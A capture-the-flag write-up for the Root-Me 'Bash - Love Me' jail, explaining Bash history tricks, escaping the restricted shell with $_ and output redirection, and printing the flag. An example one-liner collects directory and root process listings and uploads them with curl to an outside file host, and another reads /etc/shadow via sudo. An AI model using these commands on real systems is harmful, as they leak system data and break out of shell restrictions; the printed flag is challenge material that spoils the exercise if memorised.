MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Acknowledgments
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

❤️ Bash - Love Me

👀 Before you start

You can donate to me via Buy Me a Coffee or follow me on Github

📖 Challenge Description

#!/bin/bash

PATH=$(/usr/bin/getconf PATH || /bin/kill $$)

function check_input() {
    if [[ $1 == *[bdksiSctr'?''*''/''<''>''&''(''{''0''1''2''3''4''5''6''7''8''9']* ]]
    then
            return 0
    fi

    return 1
}

while :
do
    input=""
    echo -n "Enter the input: "
    read input
    if check_input "$input"
        then
                echo -e '\033[0;31mRestricted characters has been used\033[0m'
        else
                output=`/bin/bash -c "$input" &>/dev/null`
                echo "Command executed"
        fi
done

🚩 Getting the flag

In this new Bash jail, we have very few characters allowed.

Luckily for us, our input is passed to bash -c "$input", which means we can perform an injection using Bash environment variables.

↩️ Back to the past

Our beloved Bash remembers all the commands we enter, and we can go back in history to reuse them.

For example, we can do something like this:

$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ sudo !!
root:*:19478:0:99999:7:::

This is super useful when reusing commands we forgot to prefix with sudo, for example.

Staying within the realm of little tricks using !, here’s my favorite one:

$ echo "Welcome, my name is MisTraleuh" > /tmp/local
$ cat !$
Welcome, my name is MisTraleuh

But if we had run a long command like this:

$ echo $(ls -la /etc/ && ps aux) | grep "root" | base64 > /tmp/localfile && curl -F file=@!$ https://temp.sh/upload
http://temp.sh/[...]/localfile

Oops… I messed up... I wanted to do it with base32, not base64. No worries:

$ echo $(ls -la /etc/ && ps aux) | grep "root" | base64 > /tmp/localfile && curl -F file=@!$ https://temp.sh/upload
http://temp.sh/[...]/localfile
$ ^base64^base32
http://temp.sh/[...]/localfile

Explanations 💡

In fact, ^^ lets you replace part of the last command with something else

It’s really handy to avoid typing the whole thing again

In the example above, I replaced base64 with base32 in the last command.

You can also replace the first word of the last command using ^oldword^newword.

However, editing everything on a single line can sometimes be a bit tricky. That’s why we also have the ability to re-edit the last command in a text editor.

$ ls
[...]
$ fc
GNU nano 6.2                                                 /tmp/bash-fc.yPB1xD                                                           
ls






                                                               [ Read 1 line ]
^G Help        ^O Write Out   ^W Where Is    ^K Cut         ^T Execute     ^C Location    M-U Undo       M-A Set Mark   M-] To Bracket       
^X Exit        ^R Read File   ^\ Replace     ^U Paste       ^J Justify     ^/ Go To Line  M-E Redo       M-6 Copy       ^Q Where Was

🪄 $?!

Among everything I’ve told you, there’s one small but very important detail: we can also use the $_ variable, which represents the last executed command. Since the last executed command is /bin/bash -c "$input", we can use it to trigger a new command.

Enter the input: $_
aaaaaa
aa
aaa
aaaaaa

We no longer see any error message. That means we’re no longer in the jail but in another process!

This makes sense, since inside the jail we have &>/dev/null, which redirects all output to /dev/null. So we don’t see the errors or command outputs.

We can now use another trick that lets us see command outputs.

🙈 How to see command output ?

In Bash, there are 3 main streams:

  • stdin : Standard input
  • stdout : Standard output
  • stderr : Error output

We can redirect these streams as follows:

$ ls -la /etc/ 2> /tmp/error
$ cat /tmp/error
ls: cannot access '/etc/': Permission denied

But we can also redirect the streams to standard input.

$ ls -la /etc/ 2>&1 > /tmp/error
$ cat /tmp/error
ls: cannot access '/etc/': Permission denied

In our case, since we have neither stdout nor stderr, we can redirect to stdin.

ls >&0
entrypoint.sh  flag.txt  jail.sh

It also works with:

ls -la > /dev/stdin
entrypoint.sh  flag.txt  jail.sh

🏁 The flag

We now have access to flag.txt. All that’s left is to read it.

cat flag.txt >&0
RM{W0W_Y0U_Kn0w_7h3_8a5h_5h3ll_4nd_7h3_5cr!p7!n9_l4n9u493_7h!5_!5_4m4z!n9_Y0U_W1LL_B3_A_GR43T_H4CK3R<3}

📜 Script

$ nc challenges.ctf20k.root-me.org 28595
Enter the input: $_
ls >&0
entrypoint.sh  flag.txt  jail.sh
cat flag.txt >&0
RM{W0W_Y0U_Kn0w_7h3_8a5h_5h3ll_4nd_7h3_5cr!p7!n9_l4n9u493_7h!5_!5_4m4z!n9_Y0U_W1LL_B3_A_GR43T_H4CK3R<3}

📚 Documentations

  • !$
  • $_
  • Redirection

💖 Support

👀 Before you leave

You can donate to me via Buy Me a Coffee or follow me on Github

Prev
💀 Root Me - 20k
Next
🛑 Python - Not This Way